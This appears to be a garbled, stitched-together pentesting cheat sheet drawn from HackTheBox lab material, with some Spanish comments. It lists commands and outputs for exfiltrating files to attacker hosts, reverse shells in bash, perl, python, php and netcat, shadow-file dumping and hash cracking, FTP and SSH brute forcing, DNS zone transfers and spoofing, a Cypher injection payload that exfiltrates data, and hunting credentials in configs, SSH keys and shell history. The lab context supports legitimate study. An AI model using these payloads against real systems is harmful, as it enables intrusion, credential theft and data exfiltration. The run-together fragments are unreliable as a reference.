powershell -c "[IO.File]::WriteAllBytes('C:\Users\Public\archivo.txt', [Convert]::FromBase64String('<BASE64_CODE>'))"PS C:\htb> IWR -Uri http://<ATTACKER_IP>/PowerView.ps1 | IEX
Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.
At line:1 char:1
+ Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/P ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotImplemented: (:) [Invoke-WebRequest], NotSupportedException
+ FullyQualifiedErrorId : WebCmdletIEDomNotSupportedException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand
PS C:\htb> IWR -Uri http://<ATTACKER_IP>PowerView.ps1 -UseBasicParsing | IEXPS C:\htb> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
Exception calling "DownloadString" with "1" argument(s): "The underlying connection was closed: Could not establish trust
relationship for the SSL/TLS secure channel."
At line:1 char:1
+ IEX(New-Object Net.WebClient).DownloadString('https://raw.githubuserc ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : WebException
PS C:\htb> [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}# Desde el equipo victima convertimos el archivo 'file.bin' que no es legible a Base64
powershell -c "[convert]::ToBase64String((cat C:\\Temp\\file.bin -Encoding byte))"
[convert]::ToBase64String((cat C:\\Temp\\file.bin -Encoding byte))
# Desde el equipo atacante, descodificamos el contenido y obtenemos el archivo original. Nos hemos pasado el archivo solamente codificando en Base64.
echo '<BASE64_CODE>' | base64 -d > file.binsudo pip3 install uploadserver --break-system-packages❯ sudo pip3 install uploadserver --break-system-packages
❯ python3 -m uploadserver╭╴at ~\Desktop
╰─ IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
╭╴at ~\Desktop
╰─ Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts
[+] File Uploaded: C:\Windows\System32\drivers\etc\hosts
[+] FileHash: 5E7241D66FD77E9E8EA866B6278B2373PS C:\htb> $b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
PS C:\htb> Invoke-WebRequest -Uri http://192.168.134.128:8000/ -Method POST -Body $b64❯ nc -nlvp 8000
listening on [any] 8000 ...
connect to [192.168.134.128] from (UNKNOWN) [192.168.134.1] 52051
POST / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; es-ES) WindowsPowerShell/5.1.26100.2161
Content-Type: application/x-www-form-urlencoded
Host: 192.168.134.128:8000
Content-Length: 1100
Connection: Keep-Alive
IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbXBsZSBIT1HNh❯ echo <base64> | base64 -d -w 0 > hostsrdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files'xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer# Víctima
.\nc.exe -e cmd <ATTACKER_IP> 443
# Atacante
nc -nlvp 443# Atacante (Kali)
rlwrap -cAr nc -nlvp 443
impacket-smbserver smbFolder $(pwd) -smb2support
# Vítima (Windows)
\\<ATTACKER_IP>\smbFolder\nc.exe -e cmd <ATTACKER_IP> 443/usr/lib/x86_64-linux-gnu/security/nc -nlvp 443/bin/bash -c 'bash -i >& /dev/tcp/10.10.x.x/443 0>&1'bash -i >& /dev/tcp/10.10.x.x/443 0>&1/bin/bash -c 'bash -i >& /dev/tcp/10.10.x.x/443 0>&1'bash -i >& /dev/tcp/10.10.x.x/443 0>&1/bin/bash -c '0<&196;exec 196<>/dev/tcp/10.10.x.x/443; sh <&196 >&196 2>&196'0<&196;exec 196<>/dev/tcp/10.10.x.x/443; sh <&196 >&196 2>&196$ script /dev/null -c bash
Script started, file is /dev/null

gzzcoo@htb[/htb]$ openssl enc -aes256 -iter 100000 -pbkdf2 -in /etc/passwd -out passwd.enc
enter aes-256-cbc encryption password:
Verifying - enter aes-256-cbc encryption password: 1001




ssh user1@10.10.10.10sshpass -p 'Password01!' ssh user1@10.10.10.10gzzcoo@htb[/htb]$ openssl enc -d -aes256 -iter 100000 -pbkdf2 -in passwd.enc -out passwd
enter aes-256-cbc decryption password:gzzcoo@htb[/htb]$ sudo mkdir -p /var/www/uploads/SecretUploadDirectorygzzcoo@htb[/htb]$ sudo chown -R www-data:www-data /var/www/uploads/SecretUploadDirectoryserver {
listen 9001;
location /SecretUploadDirectory/ {
root /var/www/uploads;
dav_methods PUT;
}
}gzzcoo@htb[/htb]$ sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/gzzcoo@htb[/htb]$ sudo systemctl restart nginx.servicegzzcoo@htb[/htb]$ sudo rm /etc/nginx/sites-enabled/defaultC:\gzzcoo> curl -T "C:\Windows\System32\drivers\etc\hosts" http://<ATTACKER_IP>:9001/SecretUploadDirectory/hosts.txtgzzcoo@htb[/htb]$ sudo tail -1 /var/www/uploads/SecretUploadDirectory/hosts.txt
# ::1 localhostgzzcoo@htb[/htb]$ sudo mkdir -p /var/www/uploads/SecretUploadDirectorygzzcoo@htb[/htb]$ sudo chown -R www-data:www-data /var/www/uploads/SecretUploadDirectoryserver {
listen 9001;
location /SecretUploadDirectory/ {
root /var/www/uploads;
dav_methods PUT;
}
}gzzcoo@htb[/htb]$ sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/gzzcoo@htb[/htb]$ sudo systemctl restart nginx.servicegzzcoo@htb[/htb]$ sudo rm /etc/nginx/sites-enabled/defaultgzzcoo@htb[/htb]$ curl -T /etc/passwd http://localhost:9001/SecretUploadDirectory/users.txtgzzcoo@htb[/htb]$ sudo tail -1 /var/www/uploads/SecretUploadDirectory/users.txt
user65:x:1000:1000:,,,:/home/user65:/bin/bashgzzcoo:x:1001:1001:Gzzcoo:/home/gzzcoo:/bin/bashroot:x:0:0:root:/root:/bin/bashroot:0:0:0:root:/root:/bin/bash[cry0l1t3@parrot]─[~]$ head -n 1 /etc/passwd
root::0:0:root:/root:/bin/bash
[cry0l1t3@parrot]─[~]$ su
[root@parrot]─[/home/cry0l1t3]#cry0l1t3:$6$wBRzy$...SNIP...x9cDWUxW1:18937:0:99999:7:::[cry0l1t3@parrot]─[~]$ sudo cat /etc/shadow
root:*:18747:0:99999:7:::
sys:!:18747:0:99999:7:::
...SNIP...
cry0l1t3:$6$wBRzy$...SNIP...x9cDWUxW1:18937:0:99999:7:::$<type>$<salt>$<hash>/etc/security/opasswdgzzcoo@htb[/htb]$ sudo cat /etc/security/opasswd
cry0l1t3:1000:2:$1$HjFAfYTG$qNDkF0zJ3v8ylCOrKB0kt0,$1$kcUjWZJX$E9uMSmiQeRh4pAAgzuvkq1gzzcoo@htb[/htb]$ sudo cp /etc/passwd /tmp/passwd.bak
gzzcoo@htb[/htb]$ sudo cp /etc/shadow /tmp/shadow.bak
gzzcoo@htb[/htb]$ unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashesgzzcoo@htb[/htb]$ hashcat -m 1800 -a 0 /tmp/unshadowed.hashes rockyou.txt -o /tmp/unshadowed.crackedgzzcoo@htb[/htb]$ cat md5-hashes.list
qNDkF0zJ3v8ylCOrKB0kt0
E9uMSmiQeRh4pAAgzuvkq1gzzcoo@htb[/htb]$ hashcat -m 500 -a 0 md5-hashes.list rockyou.txtecho -n '#!/bin/bash \n/bin/bash -c "bash -i >& /dev/tcp/10.10.x.x/443 0>&1"' > shell.sh
python3 -m http.server 80curl 10.10.x.x/shell.sh|bashperl -e 'use Socket;$i="10.10.x.x";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.x.x:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'php -r '$sock=fsockopen("10.10.x.x",443);exec("/bin/sh -i <&3 >&3 2>&3");'nc -e /bin/sh 10.10.x.x 443rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.x.x 443 >/tmp/fgzzcoo@htb[/htb]$ sudo nmap -sCV -p21 192.168.2.142
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-10 22:04 EDT
Nmap scan report for 192.168.2.142
Host is up (0.00054s latency).
PORT STATE SERVICE
21/tcp open ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 1170 924 31 Mar 28 2001 .banner
| d--x--x--x 2 root root 1024 Jan 14 2002 bin
| d--x--x--x 2 root root 1024 Aug 10 1999 etc
| drwxr-srwt 2 1170 924 2048 Jul 19 18:48 incoming [NSE: writeable]
| d--x--x--x 2 root root 1024 Jan 14 2002 lib
| drwxr-sr-x 2 1170 924 1024 Aug 5 2004 pub
|_Only 6 shown. Use --script-args ftp-anon.maxlist=-1 to see all.gzzcoo@htb[/htb]$ ftp 192.168.2.142
Connected to 192.168.2.142.
220 (vsFTPd 2.3.4)
Name (192.168.2.142:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 9 Aug 12 16:51 test.txt
226 Directory send OK.gzzcoo@htb[/htb]$ medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h 10.129.203.7 -M ftp
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
ACCOUNT CHECK: [ftp] Host: 10.129.203.7 (1 of 1, 0 complete) User: fiona (1 of 1, 0 complete) Password: 123456 (1 of 14344392 complete)
ACCOUNT CHECK: [ftp] Host: 10.129.203.7 (1 of 1, 0 complete) User: fiona (1 of 1, 0 complete) Password: 12345 (2 of 14344392 complete)
ACCOUNT CHECK: [ftp] Host: 10.129.203.7 (1 of 1, 0 complete) User: fiona (1 of 1, 0 complete) Password: 123456789 (3 of 14344392 complete)
ACCOUNT FOUND: [ftp] Host: 10.129.203.7 User: fiona Password: family [SUCCESS]gzzcoo@htb[/htb]$ hydra -L user.list -P password.list ftp://10.129.42.197
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-10 15:03:51
[WARNING] Many FTP configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 25 login tries (l:5/p:5), ~2 tries per task
[DATA] attacking ftp://10.129.42.197:22/
[21][ftp] host: 10.129.42.197 login: user password: password
1 of 1 target successfully completed, 1 valid password foundgzzcoo@htb[/htb]$ nmap -Pn -v -n -p80 -b anonymous:password@10.10.110.213 172.17.0.2
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-27 04:55 EDT
Resolved FTP bounce attack proxy to 10.10.110.213 (10.10.110.213).
Attempting connection to ftp://anonymous:password@10.10.110.213:21
Connected:220 (vsFTPd 3.0.3)
Login credentials accepted by FTP server!
Initiating Bounce Scan at 04:55
FTP command misalignment detected ... correcting.
Completed Bounce Scan at 04:55, 0.54s elapsed (1 total ports)
Nmap scan report for 172.17.0.2
Host is up.
PORT STATE SERVICE
80/tcp open http
<SNIP>gzzcoo@htb[/htb]$ nmap -p53 -Pn -sVC 10.10.110.213
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-29 03:47 EDT
Nmap scan report for 10.10.110.213
Host is up (0.017s latency).
PORT STATE SERVICE VERSION
53/tcp open domain ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)gzzcoo@htb[/htb]$ dig AXFR @ns1.inlanefreight.htb inlanefreight.htb
; <<>> DiG 9.11.5-P1-1-Debian <<>> axfr inlanefrieght.htb @10.129.110.213
;; global options: +cmd
inlanefrieght.htb. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
inlanefrieght.htb. 604800 IN AAAA ::1
inlanefrieght.htb. 604800 IN NS localhost.
inlanefrieght.htb. 604800 IN A 10.129.110.22
admin.inlanefrieght.htb. 604800 IN A 10.129.110.21
hr.inlanefrieght.htb. 604800 IN A 10.129.110.25
support.inlanefrieght.htb. 604800 IN A 10.129.110.28
inlanefrieght.htb. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
;; Query time: 28 msec
;; SERVER: 10.129.110.213#53(10.129.110.213)
;; WHEN: Mon Oct 11 17:20:13 EDT 2020
;; XFR size: 8 records (messages 1, bytes 289)gzzcoo@htb[/htb]# fierce --domain zonetransfer.me
NS: nsztm2.digi.ninja. nsztm1.digi.ninja.
SOA: nsztm1.digi.ninja. (81.4.108.41)
Zone: success
{<DNS name @>: '@ 7200 IN SOA nsztm1.digi.ninja. robin.digi.ninja. 2019100801 '
'172800 900 1209600 3600\n'
'@ 300 IN HINFO "Casio fx-700G" "Windows XP"\n'
'@ 301 IN TXT '
'"google-site-verification=tyP28J7JAUHA9fw2sHXMgcCC0I6XBmmoVi04VlMewxA"\n'
'@ 7200 IN MX 0 ASPMX.L.GOOGLE.COM.\n'
'@ 7200 IN MX 10 ALT1.ASPMX.L.GOOGLE.COM.\n'
'@ 7200 IN MX 10 ALT2.ASPMX.L.GOOGLE.COM.\n'
'@ 7200 IN MX 20 ASPMX2.GOOGLEMAIL.COM.\n'
'@ 7200 IN MX 20 ASPMX3.GOOGLEMAIL.COM.\n'
'@ 7200 IN MX 20 ASPMX4.GOOGLEMAIL.COM.\n'
'@ 7200 IN MX 20 ASPMX5.GOOGLEMAIL.COM.\n'
'@ 7200 IN A 5.196.105.14\n'
'@ 7200 IN NS nsztm1.digi.ninja.\n'
'@ 7200 IN NS nsztm2.digi.ninja.',
<DNS name _acme-challenge>: '_acme-challenge 301 IN TXT '
'"6Oa05hbUJ9xSsvYy7pApQvwCUSSGgxvrbdizjePEsZI"',
<DNS name _sip._tcp>: '_sip._tcp 14000 IN SRV 0 0 5060 www',
<DNS name 14.105.196.5.IN-ADDR.ARPA>: '14.105.196.5.IN-ADDR.ARPA 7200 IN PTR '
'www',
<DNS name asfdbauthdns>: 'asfdbauthdns 7900 IN AFSDB 1 asfdbbox',
<DNS name asfdbbox>: 'asfdbbox 7200 IN A 127.0.0.1',
<DNS name asfdbvolume>: 'asfdbvolume 7800 IN AFSDB 1 asfdbbox',
<DNS name canberra-office>: 'canberra-office 7200 IN A 202.14.81.230',
<DNS name cmdexec>: 'cmdexec 300 IN TXT "; ls"',
<DNS name contact>: 'contact 2592000 IN TXT "Remember to call or email Pippa '
'on +44 123 4567890 or pippa@zonetransfer.me when making '
'DNS changes"',
<DNS name dc-office>: 'dc-office 7200 IN A 143.228.181.132',
<DNS name deadbeef>: 'deadbeef 7201 IN AAAA dead:beaf::',
<DNS name dr>: 'dr 300 IN LOC 53 20 56.558 N 1 38 33.526 W 0.00m',
<DNS name DZC>: 'DZC 7200 IN TXT "AbCdEfG"',
<DNS name email>: 'email 2222 IN NAPTR 1 1 "P" "E2U+email" "" '
'email.zonetransfer.me\n'
'email 7200 IN A 74.125.206.26',
<DNS name Hello>: 'Hello 7200 IN TXT "Hi to Josh and all his class"',
<DNS name home>: 'home 7200 IN A 127.0.0.1',
<DNS name Info>: 'Info 7200 IN TXT "ZoneTransfer.me service provided by Robin '
'Wood - robin@digi.ninja. See '
'http://digi.ninja/projects/zonetransferme.php for more '
'information."',
<DNS name internal>: 'internal 300 IN NS intns1\ninternal 300 IN NS intns2',
<DNS name intns1>: 'intns1 300 IN A 81.4.108.41',
<DNS name intns2>: 'intns2 300 IN A 167.88.42.94',
<DNS name office>: 'office 7200 IN A 4.23.39.254',
<DNS name ipv6actnow.org>: 'ipv6actnow.org 7200 IN AAAA '
'2001:67c:2e8:11::c100:1332',
...SNIP...sub.target.com. 60 IN CNAME anotherdomain.comgzzcoo@htb[/htb]$ ./subfinder -d inlanefreight.com -v
_ __ _ _
____ _| |__ / _(_)_ _ __| |___ _ _
(_-< || | '_ \ _| | ' \/ _ / -_) '_|
/__/\_,_|_.__/_| |_|_||_\__,_\___|_| v2.4.5
projectdiscovery.io
[WRN] Use with caution. You are responsible for your actions
[WRN] Developers assume no liability and are not responsible for any misuse or damage.
[WRN] By using subfinder, you also agree to the terms of the APIs used.
[INF] Enumerating subdomains for inlanefreight.com
[alienvault] www.inlanefreight.com
[dnsdumpster] ns1.inlanefreight.com
[dnsdumpster] ns2.inlanefreight.com
...snip...
[bufferover] Source took 2.193235338s for enumeration
ns2.inlanefreight.com
www.inlanefreight.com
ns1.inlanefreight.com
support.inlanefreight.com
[INF] Found 4 subdomains for inlanefreight.com in 20 seconds 11 millisecondsgzzcoo@htb[/htb]$ git clone https://github.com/TheRook/subbrute.git >> /dev/null 2>&1
gzzcoo@htb[/htb]$ cd subbrute
gzzcoo@htb[/htb]$ echo "ns1.inlanefreight.com" > ./resolvers.txt
gzzcoo@htb[/htb]$ ./subbrute inlanefreight.com -s ./names.txt -r ./resolvers.txt
Warning: Fewer than 16 resolvers per process, consider adding more nameservers to resolvers.txt.
inlanefreight.com
ns2.inlanefreight.com
www.inlanefreight.com
ms1.inlanefreight.com
support.inlanefreight.com
<SNIP>gzzcoo@htb[/htb]$ host support.inlanefreight.com
support.inlanefreight.com is an alias for inlanefreight.s3.amazonaws.comgzzcoo@htb[/htb]$ cat /etc/ettercap/etter.dns
inlanefreight.com A 192.168.225.110
*.inlanefreight.com A 192.168.225.110C:\>ping inlanefreight.com
Pinging inlanefreight.com [192.168.225.110] with 32 bytes of data:
Reply from 192.168.225.110: bytes=32 time<1ms TTL=64
Reply from 192.168.225.110: bytes=32 time<1ms TTL=64
Reply from 192.168.225.110: bytes=32 time<1ms TTL=64
Reply from 192.168.225.110: bytes=32 time<1ms TTL=64
Ping statistics for 192.168.225.110:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0msssh -i id_rsa root@10.10.10.10gzzcoo@htb[/htb]$ hydra -L user.list -P password.list ssh://10.129.42.197
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-10 15:03:51
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 25 login tries (l:5/p:5), ~2 tries per task
[DATA] attacking ssh://10.129.42.197:22/
[22][ssh] host: 10.129.42.197 login: user password: password
1 of 1 target successfully completed, 1 valid password foundwww-data@test:/$ ^Z
zsh: suspended nc -nlvp 443❯ stty raw -echo; fg[1] + continued nc -nlvp 443
reset xtermwww-data@test:/$ export TERM=xterm
www-data@test:/$ export SHELL=bash❯ stty sizewww-data@test:/$ stty rows 40 columns 230python -c 'import pty; pty.spawn("/bin/sh")'perl —e 'exec "/bin/sh";'perl: exec "/bin/sh";exec "/bin/sh"os.execute('/bin/sh')awk 'BEGIN {system("/bin/sh")}'find / -name <file> -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;find . -exec /bin/sh \; -quitvim -c ':!/bin/sh'vim
:set shell=/bin/sh
:shell



' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://<ATTACKER_IP>/?version='+version+'&name='+name+'&edition='+edition as l RETURN 0 as _0 //# Enumeración de recursos compartidos y permisos sobre ellos (Usuario del dominio)
smbmap -H 10.10.10.10 --no-banner -u 'user' -p 'password' -d domain.htb
# Enumeración de recursos compartidos y permisos sobre ellos (Usuario local)
smbmap -H 10.10.10.10 --no-banner -u 'user' -p 'password' -d WORKGROUP
# Enumeración de recursos compartidos con autenticación de Kerberos
smbmap -H 10.10.10.10 --no-banner -u 'user' -k --no-pass -d domain.htb -dc-ip 10.10.10.10key4.db
logins.jsonfor l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;donecry0l1t3@unixclient:~$ for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done
File extension: .conf
/run/tmpfiles.d/static-nodes.conf
/run/NetworkManager/resolv.conf
/run/NetworkManager/no-stub-resolv.conf
/run/NetworkManager/conf.d/10-globally-managed-devices.conf
...SNIP...
/etc/ltrace.conf
/etc/rygel.conf
/etc/ld.so.conf.d/x86_64-linux-gnu.conf
/etc/ld.so.conf.d/fakeroot-x86_64-linux-gnu.conf
/etc/fprintd.conf
File extension: .config
/usr/src/linux-headers-5.13.0-27-generic/.config
/usr/src/linux-headers-5.11.0-27-generic/.config
/usr/src/linux-hwe-5.13-headers-5.13.0-27/tools/perf/Makefile.config
/usr/src/linux-hwe-5.13-headers-5.13.0-27/tools/power/acpi/Makefile.config
/usr/src/linux-hwe-5.11-headers-5.11.0-27/tools/perf/Makefile.config
/usr/src/linux-hwe-5.11-headers-5.11.0-27/tools/power/acpi/Makefile.config
/home/cry0l1t3/.config
/etc/X11/Xwrapper.config
/etc/manpath.config
File extension: .cnf
/etc/ssl/openssl.cnf
/etc/alternatives/my.cnf
/etc/mysql/my.cnf
/etc/mysql/debian.cnf
/etc/mysql/mysql.conf.d/mysqld.cnf
/etc/mysql/mysql.conf.d/mysql.cnf
/etc/mysql/mysql.cnf
/etc/mysql/conf.d/mysqldump.cnf
/etc/mysql/conf.d/mysql.cnffor i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";donecry0l1t3@unixclient:~$ for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";done
File: /snap/core18/2128/etc/ssl/openssl.cnf
challengePassword = A challenge password
File: /usr/share/ssl-cert/ssleay.cnf
File: /etc/ssl/openssl.cnf
challengePassword = A challenge password
File: /etc/alternatives/my.cnf
File: /etc/mysql/my.cnf
File: /etc/mysql/debian.cnf
File: /etc/mysql/mysql.conf.d/mysqld.cnf
user = mysql
File: /etc/mysql/mysql.conf.d/mysql.cnf
File: /etc/mysql/mysql.cnf
File: /etc/mysql/conf.d/mysqldump.cnf
File: /etc/mysql/conf.d/mysql.cnffor l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man";donecry0l1t3@unixclient:~$ for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man";done
DB File extension: .sql
DB File extension: .db
/var/cache/dictionaries-common/ispell.db
/var/cache/dictionaries-common/aspell.db
/var/cache/dictionaries-common/wordlist.db
/var/cache/dictionaries-common/hunspell.db
/home/cry0l1t3/.mozilla/firefox/1bplpd86.default-release/cert9.db
/home/cry0l1t3/.mozilla/firefox/1bplpd86.default-release/key4.db
/home/cry0l1t3/.cache/tracker/meta.db
DB File extension: .*db
/var/cache/dictionaries-common/ispell.db
/var/cache/dictionaries-common/aspell.db
/var/cache/dictionaries-common/wordlist.db
/var/cache/dictionaries-common/hunspell.db
/home/cry0l1t3/.mozilla/firefox/1bplpd86.default-release/cert9.db
/home/cry0l1t3/.mozilla/firefox/1bplpd86.default-release/key4.db
/home/cry0l1t3/.config/pulse/3a1ee8276bbe4c8e8d767a2888fc2b1e-card-database.tdb
/home/cry0l1t3/.config/pulse/3a1ee8276bbe4c8e8d767a2888fc2b1e-device-volumes.tdb
/home/cry0l1t3/.config/pulse/3a1ee8276bbe4c8e8d767a2888fc2b1e-stream-volumes.tdb
/home/cry0l1t3/.cache/tracker/meta.db
/home/cry0l1t3/.cache/tracker/ontologies.gvdb
DB File extension: .db*
/var/cache/dictionaries-common/ispell.db
/var/cache/dictionaries-common/aspell.db
/var/cache/dictionaries-common/wordlist.db
/var/cache/dictionaries-common/hunspell.db
/home/cry0l1t3/.dbus
/home/cry0l1t3/.mozilla/firefox/1bplpd86.default-release/cert9.db
/home/cry0l1t3/.mozilla/firefox/1bplpd86.default-release/key4.db
/home/cry0l1t3/.cache/tracker/meta.db-shm
/home/cry0l1t3/.cache/tracker/meta.db-wal
/home/cry0l1t3/.cache/tracker/meta.dbfind /home/* -type f -name "*.txt" -o ! -name "*.*"cry0l1t3@unixclient:~$ find /home/* -type f -name "*.txt" -o ! -name "*.*"
/home/cry0l1t3/.config/caja/desktop-metadata
/home/cry0l1t3/.config/clipit/clipitrc
/home/cry0l1t3/.config/dconf/user
/home/cry0l1t3/.mozilla/firefox/bh4w5vd0.default-esr/pkcs11.txt
/home/cry0l1t3/.mozilla/firefox/bh4w5vd0.default-esr/serviceworker.txt
...SNIP...for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share";donecry0l1t3@unixclient:~$ for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share";done
File extension: .py
File extension: .pyc
File extension: .pl
File extension: .go
File extension: .jar
File extension: .c
File extension: .sh
/snap/gnome-3-34-1804/72/etc/profile.d/vte-2.91.sh
/snap/gnome-3-34-1804/72/usr/bin/gettext.sh
/snap/core18/2128/etc/init.d/hwclock.sh
/snap/core18/2128/etc/wpa_supplicant/action_wpa.sh
/snap/core18/2128/etc/wpa_supplicant/functions.sh
...SNIP...
/etc/profile.d/xdg_dirs_desktop_session.sh
/etc/profile.d/cedilla-portuguese.sh
/etc/profile.d/im-config_wayland.sh
/etc/profile.d/vte-2.91.sh
/etc/profile.d/bash_completion.sh
/etc/profile.d/apps-bin-path.shcry0l1t3@unixclient:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourlycry0l1t3@unixclient:~$ ls -la /etc/cron.*/
/etc/cron.d/:
total 28
drwxr-xr-x 1 root root 106 3. Jan 20:27 .
drwxr-xr-x 1 root root 5728 1. Feb 00:06 ..
-rw-r--r-- 1 root root 201 1. Mär 2021 e2scrub_all
-rw-r--r-- 1 root root 331 9. Jan 2021 geoipupdate
-rw-r--r-- 1 root root 607 25. Jan 2021 john
-rw-r--r-- 1 root root 589 14. Sep 2020 mdadm
-rw-r--r-- 1 root root 712 11. Mai 2020 php
-rw-r--r-- 1 root root 102 22. Feb 2021 .placeholder
-rw-r--r-- 1 root root 396 2. Feb 2021 sysstat
/etc/cron.daily/:
total 68
drwxr-xr-x 1 root root 252 6. Jan 16:24 .
drwxr-xr-x 1 root root 5728 1. Feb 00:06 ..
...SNIP...cry0l1t3@unixclient:~$ grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"
/home/cry0l1t3/.ssh/internal_db:1:-----BEGIN OPENSSH PRIVATE KEY-----cry0l1t3@unixclient:~$ grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1"
/home/cry0l1t3/.ssh/internal_db.pub:1:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCraKcry0l1t3@unixclient:~$ tail -n5 /home/*/.bash*
==> /home/cry0l1t3/.bash_history <==
vim ~/testing.txt
vim ~/testing.txt
chmod 755 /tmp/api.py
su
/tmp/api.py cry0l1t3 6mX4UP1eWH3HXK
==> /home/cry0l1t3/.bashrc <==
. /usr/share/bash-completion/bash_completion
elif [ -f /etc/bash_completion ]; then
. /etc/bash_completion
fi
